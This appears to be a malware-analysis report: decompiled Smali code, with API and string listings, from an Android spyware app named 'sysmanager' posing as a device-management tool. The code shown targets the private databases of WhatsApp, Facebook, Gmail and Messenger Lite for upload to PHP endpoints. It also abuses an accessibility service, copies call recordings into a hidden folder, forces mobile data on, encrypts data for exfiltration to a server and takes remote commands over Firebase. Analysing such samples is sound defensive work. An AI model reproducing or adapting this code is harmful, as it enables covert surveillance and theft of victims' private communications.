20invoke-direct {v2, v3, v4}, Lcom/sysmanager/system/AndroidMDMSupport$Social;-><init>(Ljava/lang/String;[Ljava/lang/String;)V
22invoke-virtual {v0, v1, v2}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
24sget-object v0, Lcom/sysmanager/system/AndroidMDMSupport;->mMap:Ljava/util/HashMap;
26const-string v1, "facebook"
27new-instance v2, Lcom/sysmanager/system/AndroidMDMSupport$Social;
29const-string v3, "/data/data/com.facebook.katana/databases/"
30new-array v4, v8, [Ljava/lang/String;
32const-string v5, "upload_facebook_search.php"
33aput-object v5, v4, v6
35const-string v5, "upload_facebook_contacts.php"
36aput-object v5, v4, v7
38invoke-direct {v2, v3, v4}, Lcom/sysmanager/system/AndroidMDMSupport$Social;-><init>(Ljava/lang/String;[Ljava/lang/String;)V
40invoke-virtual {v0, v1, v2}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
42sget-object v0, Lcom/sysmanager/system/AndroidMDMSupport;->mMap:Ljava/util/HashMap;
44const-string v1, "whatsapp"
45new-instance v2, Lcom/sysmanager/system/AndroidMDMSupport$Social;
47const-string v3, "/data/data/com.whatsapp/databases/"
48new-array v4, v8, [Ljava/lang/String;
50const-string v5, "upload_whatsapp_msgstore.php"
51aput-object v5, v4, v6
53const-string v5, "upload_whatsapp_contacts.php"
54aput-object v5, v4, v7
56invoke-direct {v2, v3, v4}, Lcom/sysmanager/system/AndroidMDMSupport$Social;-><init>(Ljava/lang/String;[Ljava/lang/String;)V
58invoke-virtual {v0, v1, v2}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
60sget-object v0, Lcom/sysmanager/system/AndroidMDMSupport;->mMap:Ljava/util/HashMap;
62const-string v1, "gmail"
63new-instance v2, Lcom/sysmanager/system/AndroidMDMSupport$Social;
65const-string v3, "/data/data/com.google.android.gm/databases/"
66new-array v4, v7, [Ljava/lang/String;
68const-string v5, "upload_email_gmail.php"
69aput-object v5, v4, v6
71invoke-direct {v2, v3, v4}, Lcom/sysmanager/system/AndroidMDMSupport$Social;-><init>(Ljava/lang/String;[Ljava/lang/String;)V
73invoke-virtual {v0, v1, v2}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
75sget-object v0, Lcom/sysmanager/system/AndroidMDMSupport;->mMap:Ljava/util/HashMap;
77const-string v1, "mlite"
78new-instance v2, Lcom/sysmanager/system/AndroidMDMSupport$Social;
80const-string v3, "/data/data/com.facebook.mlite/databases/"
81new-array v4, v7, [Ljava/lang/String;
83const-string v5, "upload_messengerlite_chat.php"
84aput-object v5, v4, v6
86invoke-direct {v2, v3, v4}, Lcom/sysmanager/system/AndroidMDMSupport$Social;-><init>(Ljava/lang/String;[Ljava/lang/String;)V
88invoke-virtual {v0, v1, v2}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
89return-void
APIs
  • android.view.accessibility.AccessibilityEvent.getText
  • java.lang.Object.toString
  • android.view.accessibility.AccessibilityEvent.getPackageName
  • java.lang.CharSequence.toString
  • com.sysmanager.system.AccessibilityService.getApplicationContext
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.getValue
  • android.content.Intent.<init>
  • com.sysmanager.system.AccessibilityService.bindService
  • java.lang.String.isEmpty
  • com.sysmanager.system.AccessibilityService.getString
  • java.lang.String.contains
  • com.sysmanager.system.AccessibilityService.sendDialog
  • com.sysmanager.system.AccessibilityService.getString
  • java.lang.String.contains
  • com.sysmanager.system.AccessibilityService.getSystemService
  • android.content.ComponentName.<init>
  • android.app.admin.DevicePolicyManager.isAdminActive
  • com.sysmanager.system.AccessibilityService.sendDialog
  • com.sysmanager.Scontext.getContext
Strings
  • col05
  • device_policy
Position Instruction Meta Information
0.param p1, "event" # Landroid/view/accessibility/AccessibilityEvent;
1.prologue
2const/4 v7, 0x1
3try_start_1:
4invoke-virtual {p1}, Landroid/view/accessibility/AccessibilityEvent;->getText()Ljava/util/List;
5move-result-object v5
7invoke-virtual {v5}, Ljava/lang/Object;->toString()Ljava/lang/String;
8move-result-object v1
10invoke-virtual {p1}, Landroid/view/accessibility/AccessibilityEvent;->getPackageName()Ljava/lang/CharSequence;
11move-result-object v5
13invoke-interface {v5}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
14move-result-object v5
15iput-object v5, p0, Lcom/sysmanager/system/AccessibilityService;->mApp:Ljava/lang/String;
16sget v5, Landroid/os/Build$VERSION;->SDK_INT:I
17const/16 v6, 0x18
18if-lt v5, v6, :cond_3a
20invoke-virtual {p0}, Lcom/sysmanager/system/AccessibilityService;->getApplicationContext()Landroid/content/Context;
21move-result-object v5
23invoke-static {v5}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
24move-result-object v5
26const-string v6, "col05"
28invoke-virtual {v5, v6}, Lcom/sysmanager/storage/Settings;->getValue(Ljava/lang/String;)I
29move-result v5
30if-ne v5, v7, :cond_3a
32iget-object v5, p0, Lcom/sysmanager/system/AccessibilityService;->mMessenger:Landroid/os/Messenger;
33if-nez v5, :cond_3a
34new-instance v2, Landroid/content/Intent;
35const-class v5, Lcom/sysmanager/system/AndroidSystemService;
37invoke-direct {v2, p0, v5}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
39iget-object v5, p0, Lcom/sysmanager/system/AccessibilityService;->serviceConnection:Landroid/content/ServiceConnection;
40const/4 v6, 0x1
42invoke-virtual {p0, v2, v5, v6}, Lcom/sysmanager/system/AccessibilityService;->bindService(Landroid/content/Intent;Landroid/content/ServiceConnection;I)Z
43cond_3a: if-eqz v1, :cond_52
45invoke-virtual {v1}, Ljava/lang/String;->isEmpty()Z
46move-result v5
47if-nez v5, :cond_52
48const v5, 0x7f040014
50invoke-virtual {p0, v5}, Lcom/sysmanager/system/AccessibilityService;->getString(I)Ljava/lang/String;
51move-result-object v5
53invoke-virtual {v1, v5}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
54move-result v5
55if-eqz v5, :cond_53
57invoke-direct {p0}, Lcom/sysmanager/system/AccessibilityService;->sendDialog()V
58cond_52: return-void
59cond_53: const v5, 0x7f040011
61invoke-virtual {p0, v5}, Lcom/sysmanager/system/AccessibilityService;->getString(I)Ljava/lang/String;
62move-result-object v5
64invoke-virtual {v1, v5}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
65move-result v5
66if-eqz v5, :cond_52
68const-string v5, "device_policy"
70invoke-virtual {p0, v5}, Lcom/sysmanager/system/AccessibilityService;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
71move-result-object v4
72check-cast v4, Landroid/app/admin/DevicePolicyManager;
73new-instance v3, Landroid/content/ComponentName;
74const-class v5, Lcom/sysmanager/system/AndroidDeviceAdministrator;
76invoke-direct {v3, p0, v5}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
77if-eqz v4, :cond_52
79invoke-virtual {v4, v3}, Landroid/app/admin/DevicePolicyManager;->isAdminActive(Landroid/content/ComponentName;)Z
80move-result v5
81if-eqz v5, :cond_52
83invoke-direct {p0}, Lcom/sysmanager/system/AccessibilityService;->sendDialog()V
84try_end_7a: goto/16 :goto_52
85catch_7b: move-exception v0
87invoke-static {}, Lcom/sysmanager/Scontext;->getContext()Landroid/content/Context;
88move-result-object v5
90invoke-static {v0}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
91move-result-object v6
93invoke-static {v5, v6}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
94goto/16 :goto_52
Cross References
APIs
  • java.lang.String.getBytes
  • javax.crypto.spec.SecretKeySpec.<init>
  • javax.crypto.Cipher.getInstance
  • java.lang.String.getBytes
  • javax.crypto.spec.IvParameterSpec.<init>
  • javax.crypto.Cipher.init
  • java.io.FileInputStream.<init>
  • java.io.File.length
  • java.io.FileInputStream.read
  • javax.crypto.Cipher.doFinal
  • java.io.FileOutputStream.<init>
  • java.io.FileOutputStream.write
  • java.io.FileInputStream.close
  • java.io.FileOutputStream.close
  • com.sysmanager.cryptoutils.CryptoException.<init>
  • java.security.InvalidAlgorithmParameterException.printStackTrace
Strings
  • AES
  • AES/CTR/NoPadding
  • Error encrypting/decrypting file
Position Instruction Meta Information
0.param p0, "cipherMode" # I
1.param p1, "key" # Ljava/lang/String;
2.param p2, "iv" # Ljava/lang/String;
3.param p3, "inputFile" # Ljava/io/File;
4.param p4, "outputFile" # Ljava/io/File;
5.annotation system Ldalvik/annotation/Throws;
6value = {
7Lcom/sysmanager/cryptoutils/CryptoException;
8}
9.end annotation
10.prologue
11try_start_0: new-instance v10, Ljavax/crypto/spec/SecretKeySpec;
13invoke-virtual {p1}, Ljava/lang/String;->getBytes()[B
14move-result-object v11
16const-string v12, "AES"
18invoke-direct {v10, v11, v12}, Ljavax/crypto/spec/SecretKeySpec;-><init>([BLjava/lang/String;)V
20const-string v11, "AES/CTR/NoPadding"
22invoke-static {v11}, Ljavax/crypto/Cipher;->getInstance(Ljava/lang/String;)Ljavax/crypto/Cipher;
23move-result-object v2
24new-instance v7, Ljavax/crypto/spec/IvParameterSpec;
26invoke-virtual/range {p2 .. p2}, Ljava/lang/String;->getBytes()[B
27move-result-object v11
29invoke-direct {v7, v11}, Ljavax/crypto/spec/IvParameterSpec;-><init>([B)V
31invoke-virtual {v2, p0, v10, v7}, Ljavax/crypto/Cipher;->init(ILjava/security/Key;Ljava/security/spec/AlgorithmParameterSpec;)V
32new-instance v6, Ljava/io/FileInputStream;
33move-object/from16 v0, p3
35invoke-direct {v6, v0}, Ljava/io/FileInputStream;-><init>(Ljava/io/File;)V
37invoke-virtual/range {p3 .. p3}, Ljava/io/File;->length()J
38move-result-wide v12
39long-to-int v11, v12
40new-array v5, v11, [B
42invoke-virtual {v6, v5}, Ljava/io/FileInputStream;->read([B)I
44invoke-virtual {v2, v5}, Ljavax/crypto/Cipher;->doFinal([B)[B
45move-result-object v8
46new-instance v9, Ljava/io/FileOutputStream;
47move-object/from16 v0, p4
49invoke-direct {v9, v0}, Ljava/io/FileOutputStream;-><init>(Ljava/io/File;)V
51invoke-virtual {v9, v8}, Ljava/io/FileOutputStream;->write([B)V
53invoke-virtual {v6}, Ljava/io/FileInputStream;->close()V
55invoke-virtual {v9}, Ljava/io/FileOutputStream;->close()V
56goto_42: return-void
57catch_43: move-exception v4
58goto_44: new-instance v11, Lcom/sysmanager/cryptoutils/CryptoException;
60const-string v12, "Error encrypting/decrypting file"
62invoke-direct {v11, v12, v4}, Lcom/sysmanager/cryptoutils/CryptoException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
63throw v11
64catch_4c: move-exception v3
66invoke-virtual {v3}, Ljava/security/InvalidAlgorithmParameterException;->printStackTrace()V
67goto/16 :goto_42
68catch_51: move-exception v4
69goto/16 :goto_44
70catch_53: move-exception v4
71goto/16 :goto_44
72catch_55: move-exception v4
73goto/16 :goto_44
74catch_57: move-exception v4
75goto/16 :goto_44
76catch_59: move-exception v4
77goto/16 :goto_44
Cross References
APIs
  • java.io.File.exists
  • java.io.File.listFiles
  • java.io.File.getName
  • com.sysmanager.system.AndroidSystemService.getApplicationContext
  • com.sysmanager.storage.FileSend.getInstance
  • com.sysmanager.storage.FileSend.isCallRecording
  • java.lang.StringBuilder.<init>
  • com.sysmanager.system.AndroidSystemService.getFilesDir
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.File.<init>
  • com.sysmanager.system.AndroidSystemService.copy64
  • java.io.File.delete
  • com.sysmanager.system.AndroidSystemService.getApplicationContext
  • com.sysmanager.storage.FileSend.getInstance
  • com.sysmanager.storage.FileSend.deleteCall
Strings
  • /.cachel1/
Position Instruction Meta Information
0.param p1, "tempDir" # Ljava/io/File;
1.prologue
3invoke-virtual {p1}, Ljava/io/File;->exists()Z
4move-result v4
5if-eqz v4, :cond_5b
7invoke-virtual {p1}, Ljava/io/File;->listFiles()[Ljava/io/File;
8move-result-object v1
9if-eqz v1, :cond_5b
10array-length v5, v1
11const/4 v4, 0x0
12goto_e: if-ge v4, v5, :cond_5b
13aget-object v0, v1, v4
15invoke-virtual {v0}, Ljava/io/File;->getName()Ljava/lang/String;
16move-result-object v2
18invoke-virtual {p0}, Lcom/sysmanager/system/AndroidSystemService;->getApplicationContext()Landroid/content/Context;
19move-result-object v6
21invoke-static {v6}, Lcom/sysmanager/storage/FileSend;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/FileSend;
22move-result-object v6
24iget-object v7, p0, Lcom/sysmanager/system/AndroidSystemService;->mFileName:Ljava/lang/String;
26invoke-virtual {v6, v7}, Lcom/sysmanager/storage/FileSend;->isCallRecording(Ljava/lang/String;)Z
27move-result v3
28new-instance v6, Ljava/io/File;
29new-instance v7, Ljava/lang/StringBuilder;
31invoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V
33invoke-virtual {p0}, Lcom/sysmanager/system/AndroidSystemService;->getFilesDir()Ljava/io/File;
34move-result-object v8
36invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
37move-result-object v7
39const-string v8, "/.cachel1/"
41invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
42move-result-object v7
44invoke-virtual {v7, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
45move-result-object v7
47invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
48move-result-object v7
50invoke-direct {v6, v7}, Ljava/io/File;-><init>(Ljava/lang/String;)V
52invoke-direct {p0, v0, v6, v3}, Lcom/sysmanager/system/AndroidSystemService;->copy64(Ljava/io/File;Ljava/io/File;Z)Z
53move-result v6
54if-eqz v6, :cond_58
56invoke-virtual {v0}, Ljava/io/File;->delete()Z
58invoke-virtual {p0}, Lcom/sysmanager/system/AndroidSystemService;->getApplicationContext()Landroid/content/Context;
59move-result-object v6
61invoke-static {v6}, Lcom/sysmanager/storage/FileSend;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/FileSend;
62move-result-object v6
64invoke-virtual {v6, v2}, Lcom/sysmanager/storage/FileSend;->deleteCall(Ljava/lang/String;)Z
65cond_58: add-int/lit8 v4, v4, 0x1
66goto/16 :goto_e
67cond_5b: return-void
Cross References
APIs
  • android.content.Context.getSystemService
  • java.lang.Object.getClass
  • java.lang.Class.getName
  • java.lang.Class.forName
  • java.lang.Class.getDeclaredField
  • java.lang.reflect.Field.setAccessible
  • java.lang.reflect.Field.get
  • java.lang.Object.getClass
  • java.lang.Class.getName
  • java.lang.Class.forName
  • java.lang.Class.getDeclaredMethod
  • java.lang.reflect.Method.setAccessible
  • java.lang.Boolean.valueOf
  • java.lang.reflect.Method.invoke
Strings
  • connectivity
  • mService
  • setMobileDataEnabled
Position Instruction Meta Information
0.param p0, "context" # Landroid/content/Context;
1.prologue
2sget v7, Landroid/os/Build$VERSION;->SDK_INT:I
3const/16 v8, 0x13
4if-gt v7, v8, :cond_54
6const-string v7, "connectivity"
8invoke-virtual {p0, v7}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
9move-result-object v0
10check-cast v0, Landroid/net/ConnectivityManager;
11try_start_e:
12invoke-virtual {v0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
13move-result-object v7
15invoke-virtual {v7}, Ljava/lang/Class;->getName()Ljava/lang/String;
16move-result-object v7
18invoke-static {v7}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
19move-result-object v1
21const-string v7, "mService"
23invoke-virtual {v1, v7}, Ljava/lang/Class;->getDeclaredField(Ljava/lang/String;)Ljava/lang/reflect/Field;
24move-result-object v5
25const/4 v7, 0x1
27invoke-virtual {v5, v7}, Ljava/lang/reflect/Field;->setAccessible(Z)V
29invoke-virtual {v5, v0}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
30move-result-object v3
32invoke-virtual {v3}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
33move-result-object v7
35invoke-virtual {v7}, Ljava/lang/Class;->getName()Ljava/lang/String;
36move-result-object v7
38invoke-static {v7}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
39move-result-object v4
41const-string v7, "setMobileDataEnabled"
42const/4 v8, 0x1
43new-array v8, v8, [Ljava/lang/Class;
44const/4 v9, 0x0
46sget-object v10, Ljava/lang/Boolean;->TYPE:Ljava/lang/Class;
47aput-object v10, v8, v9
49invoke-virtual {v4, v7, v8}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
50move-result-object v6
51const/4 v7, 0x1
53invoke-virtual {v6, v7}, Ljava/lang/reflect/Method;->setAccessible(Z)V
54const/4 v7, 0x1
55new-array v7, v7, [Ljava/lang/Object;
56const/4 v8, 0x0
57const/4 v9, 0x1
59invoke-static {v9}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
60move-result-object v9
61aput-object v9, v7, v8
63invoke-virtual {v6, v3, v7}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
64try_end_54: return-void
65catch_55: move-exception v2
67invoke-static {v2}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
68move-result-object v7
70invoke-static {p0, v7}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
71goto/16 :goto_54
Cross References
APIs
  • java.lang.StringBuilder.<init>
  • com.sysmanager.system.AndroidFileSystem.getFilesDir
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.File.<init>
  • java.io.File.exists
  • java.io.File.createNewFile
  • java.io.File.getAbsoluteFile
  • java.io.FileWriter.<init>
  • java.io.BufferedWriter.<init>
  • java.io.BufferedWriter.write
  • java.io.BufferedWriter.close
  • java.lang.Boolean.valueOf
  • com.sysmanager.system.AndroidFileSystem.getApplicationContext
  • java.lang.Boolean.valueOf
Strings
  • /filelist
Position Instruction Meta Information
0.param p1, "fcontent" # Ljava/lang/String;
1.prologue
2try_start_0: new-instance v5, Ljava/lang/StringBuilder;
4invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
6invoke-virtual {p0}, Lcom/sysmanager/system/AndroidFileSystem;->getFilesDir()Ljava/io/File;
7move-result-object v6
9invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
10move-result-object v5
12const-string v6, "/filelist"
14invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
15move-result-object v5
17invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
18move-result-object v3
19new-instance v2, Ljava/io/File;
21invoke-direct {v2, v3}, Ljava/io/File;-><init>(Ljava/lang/String;)V
23invoke-virtual {v2}, Ljava/io/File;->exists()Z
24move-result v5
25if-nez v5, :cond_25
27invoke-virtual {v2}, Ljava/io/File;->createNewFile()Z
28cond_25: new-instance v4, Ljava/io/FileWriter;
30invoke-virtual {v2}, Ljava/io/File;->getAbsoluteFile()Ljava/io/File;
31move-result-object v5
33invoke-direct {v4, v5}, Ljava/io/FileWriter;-><init>(Ljava/io/File;)V
34new-instance v0, Ljava/io/BufferedWriter;
36invoke-direct {v0, v4}, Ljava/io/BufferedWriter;-><init>(Ljava/io/Writer;)V
38invoke-virtual {v0, p1}, Ljava/io/BufferedWriter;->write(Ljava/lang/String;)V
40invoke-virtual {v0}, Ljava/io/BufferedWriter;->close()V
41const/4 v5, 0x1
43invoke-static {v5}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
44try_end_3d: move-result-object v5
45goto_3e: return-object v5
46catch_3f: move-exception v1
48invoke-virtual {p0}, Lcom/sysmanager/system/AndroidFileSystem;->getApplicationContext()Landroid/content/Context;
49move-result-object v5
51invoke-static {v1}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
52move-result-object v6
54invoke-static {v5, v6}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
55const/4 v5, 0x0
57invoke-static {v5}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
58move-result-object v5
59goto/16 :goto_3e
Cross References
APIs
  • org.json.JSONObject.<init>
  • java.lang.String.contains
  • org.json.JSONObject.put
  • org.json.JSONObject.toString
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • org.json.JSONObject.put
  • com.sysmanager.Scontext.getContext
Strings
  • ser.php
  • data
  • User-Agent
  • Serial: A70 Model:
  • VALUE
  • A70
Position Instruction Meta Information
0.param p0, "pem" # Ljava/lang/String;
1.param p1, "json" # Ljava/lang/String;
2.param p2, "targetUrl" # Ljava/lang/String;
3.prologue
4try_start_0: new-instance v3, Lorg/json/JSONObject;
6invoke-direct {v3}, Lorg/json/JSONObject;-><init>()V
8const-string v5, "ser.php"
10invoke-virtual {p2, v5}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
11move-result v5
12if-nez v5, :cond_86
14const-string v5, "data"
16invoke-static {p0}, Lcom/sysmanager/costanti/Costanti;->getKeyCrypt(Ljava/lang/String;)Ljava/lang/String;
17move-result-object v6
19invoke-static {p0}, Lcom/sysmanager/costanti/Costanti;->getIVCrypt(Ljava/lang/String;)Ljava/lang/String;
20move-result-object v7
22invoke-static {v6, v7, p1}, Lcom/sysmanager/cryptoutils/CryptoUtils;->encryptStringServerCom(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
23move-result-object v6
25invoke-virtual {v3, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
26goto_1e:
27sget-object v5, Lcom/sysmanager/network/HTTPUtility;->JSON:Lokhttp3/MediaType;
29invoke-virtual {v3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
30move-result-object v6
32invoke-static {v5, v6}, Lokhttp3/RequestBody;->create(Lokhttp3/MediaType;Ljava/lang/String;)Lokhttp3/RequestBody;
33move-result-object v0
34new-instance v5, Lokhttp3/Request$Builder;
36invoke-direct {v5}, Lokhttp3/Request$Builder;-><init>()V
38const-string v6, "User-Agent"
39new-instance v7, Ljava/lang/StringBuilder;
41invoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V
43const-string v8, "Serial: A70 Model: "
45invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
46move-result-object v7
48sget-object v8, Landroid/os/Build;->MODEL:Ljava/lang/String;
50invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
51move-result-object v7
53invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
54move-result-object v7
56invoke-virtual {v5, v6, v7}, Lokhttp3/Request$Builder;->header(Ljava/lang/String;Ljava/lang/String;)Lokhttp3/Request$Builder;
57move-result-object v5
59const-string v6, "VALUE"
61const-string v7, "A70"
63invoke-virtual {v5, v6, v7}, Lokhttp3/Request$Builder;->addHeader(Ljava/lang/String;Ljava/lang/String;)Lokhttp3/Request$Builder;
64move-result-object v5
66invoke-virtual {v5, p2}, Lokhttp3/Request$Builder;->url(Ljava/lang/String;)Lokhttp3/Request$Builder;
67move-result-object v5
69invoke-virtual {v5, v0}, Lokhttp3/Request$Builder;->post(Lokhttp3/RequestBody;)Lokhttp3/Request$Builder;
70move-result-object v5
72invoke-virtual {v5}, Lokhttp3/Request$Builder;->build()Lokhttp3/Request;
73move-result-object v4
74new-instance v5, Lokhttp3/OkHttpClient$Builder;
76invoke-direct {v5}, Lokhttp3/OkHttpClient$Builder;-><init>()V
77const-wide/16 v6, 0x6
79sget-object v8, Ljava/util/concurrent/TimeUnit;->MINUTES:Ljava/util/concurrent/TimeUnit;
81invoke-virtual {v5, v6, v7, v8}, Lokhttp3/OkHttpClient$Builder;->connectTimeout(JLjava/util/concurrent/TimeUnit;)Lokhttp3/OkHttpClient$Builder;
82move-result-object v5
83const-wide/16 v6, 0x6
85sget-object v8, Ljava/util/concurrent/TimeUnit;->MINUTES:Ljava/util/concurrent/TimeUnit;
87invoke-virtual {v5, v6, v7, v8}, Lokhttp3/OkHttpClient$Builder;->readTimeout(JLjava/util/concurrent/TimeUnit;)Lokhttp3/OkHttpClient$Builder;
88move-result-object v5
89const-wide/16 v6, 0x6
91sget-object v8, Ljava/util/concurrent/TimeUnit;->MINUTES:Ljava/util/concurrent/TimeUnit;
93invoke-virtual {v5, v6, v7, v8}, Lokhttp3/OkHttpClient$Builder;->writeTimeout(JLjava/util/concurrent/TimeUnit;)Lokhttp3/OkHttpClient$Builder;
94move-result-object v5
96invoke-virtual {v5}, Lokhttp3/OkHttpClient$Builder;->build()Lokhttp3/OkHttpClient;
97move-result-object v1
99invoke-virtual {v1, v4}, Lokhttp3/OkHttpClient;->newCall(Lokhttp3/Request;)Lokhttp3/Call;
100move-result-object v5
102invoke-interface {v5}, Lokhttp3/Call;->execute()Lokhttp3/Response;
103move-result-object v5
104goto_85: return-object v5
105cond_86:
106const-string v5, "data"
108const-string v6, ""
110invoke-virtual {v3, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
111try_end_8d: goto/16 :goto_1e
112catch_8e: move-exception v2
114invoke-static {}, Lcom/sysmanager/Scontext;->getContext()Landroid/content/Context;
115move-result-object v5
117invoke-static {v2}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
118move-result-object v6
120invoke-static {v5, v6}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
121const/4 v5, 0x0
122goto/16 :goto_85
APIs
  • java.util.Map.get
  • com.sysmanager.MessageManagement.getSystemService
  • java.lang.Class.cast
  • android.os.PowerManager.newWakeLock
  • android.os.PowerManager$WakeLock.acquire
  • java.util.Map.entrySet
  • java.util.Set.iterator
  • java.util.Iterator.hasNext
  • java.util.Iterator.next
  • java.util.Map$Entry.getKey
  • java.util.Map$Entry.getValue
  • com.sysmanager.MessageManagement.parseCommand
  • com.sysmanager.MessageManagement.getApplicationContext
Strings
  • comando
  • power
  • Management service
Position Instruction Meta Information
0.param p1, "message" # Lcom/google/firebase/messaging/RemoteMessage;
1.prologue
3invoke-virtual {p1}, Lcom/google/firebase/messaging/RemoteMessage;->getData()Ljava/util/Map;
4move-result-object v7
5if-eqz v7, :cond_5a
7invoke-virtual {p1}, Lcom/google/firebase/messaging/RemoteMessage;->getFrom()Ljava/lang/String;
8move-result-object v4
10invoke-virtual {p1}, Lcom/google/firebase/messaging/RemoteMessage;->getData()Ljava/util/Map;
11move-result-object v7
13const-string v8, "comando"
15invoke-interface {v7, v8}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
16move-result-object v0
17check-cast v0, Ljava/lang/String;
18if-eqz v0, :cond_5a
19try_start_18: const-class v7, Landroid/os/PowerManager;
21const-string v8, "power"
23invoke-virtual {p0, v8}, Lcom/sysmanager/MessageManagement;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
24move-result-object v8
26invoke-virtual {v7, v8}, Ljava/lang/Class;->cast(Ljava/lang/Object;)Ljava/lang/Object;
27move-result-object v6
28check-cast v6, Landroid/os/PowerManager;
29const/4 v7, 0x1
31const-string v8, "Management service"
33invoke-virtual {v6, v7, v8}, Landroid/os/PowerManager;->newWakeLock(ILjava/lang/String;)Landroid/os/PowerManager$WakeLock;
34move-result-object v7
35const-wide/16 v8, 0x2710
37invoke-virtual {v7, v8, v9}, Landroid/os/PowerManager$WakeLock;->acquire(J)V
39invoke-virtual {p1}, Lcom/google/firebase/messaging/RemoteMessage;->getData()Ljava/util/Map;
40move-result-object v1
42invoke-interface {v1}, Ljava/util/Map;->entrySet()Ljava/util/Set;
43move-result-object v7
45invoke-interface {v7}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
46move-result-object v8
47goto_3e:
48invoke-interface {v8}, Ljava/util/Iterator;->hasNext()Z
49move-result v7
50if-eqz v7, :cond_57
52invoke-interface {v8}, Ljava/util/Iterator;->next()Ljava/lang/Object;
53move-result-object v3
54check-cast v3, Ljava/util/Map$Entry;
56invoke-interface {v3}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
57move-result-object v5
58check-cast v5, Ljava/lang/String;
60invoke-interface {v3}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
61move-result-object v7
62check-cast v7, Ljava/lang/String;
63goto/16 :goto_3e
64cond_57:
65invoke-static {p0, v1}, Lcom/sysmanager/MessageManagement;->parseCommand(Landroid/content/Context;Ljava/util/Map;)V
66cond_5a: return-void
67catch_5b: move-exception v2
69invoke-virtual {p0}, Lcom/sysmanager/MessageManagement;->getApplicationContext()Landroid/content/Context;
70move-result-object v7
72invoke-static {v2}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
73move-result-object v8
